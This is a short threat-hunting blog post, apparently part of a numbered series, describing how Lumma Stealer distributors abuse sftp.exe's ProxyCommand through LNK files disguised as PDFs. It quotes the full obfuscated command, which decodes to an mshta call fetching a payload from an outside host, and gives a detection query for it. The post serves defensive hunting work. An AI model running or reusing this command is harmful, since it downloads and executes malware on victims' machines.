131. Adversaries Abuse SFTP to Deliver Lumma Stealer

Hello everyone!

Stealers are everywhere! And adversaries find new and new delivery methods. Today we'll look how the threat actors involved in Lumma Stealer distribution abuse SFTP.

According to Sophos report, the threat actors distributed malicious LNK files disguised as PDF, which abused sftp.exe to execute an obfuscated command:

C:\Windows\System32\OpenSSH\sftp.exe -o ProxyCommand="powershell powershell -Command ('m]]]]]]sh]]]]]]]t]]]]]a]]]]]]].]]]]]ex]]]]]]]e]]]]] h]]]]]tt]]]ps:]]]]]]/]]]]]]/s]]]]]t]]]]]]]atic]]].kli]]]]]]pxuh]]]]]aq.sh]]]]]]]op/W7]]]7Z9]]]].mp4]]'  -replace ']')

Just like in the case we discussed recently, the adversary leveraged ProxyCommand for proxy execution. And, of course, we can use it for hunting:

event_type: "processcreatewin"

AND

proc_file_name: "sftp.exe"

AND

cmdline: "proxycommand"

See you tomorrow!

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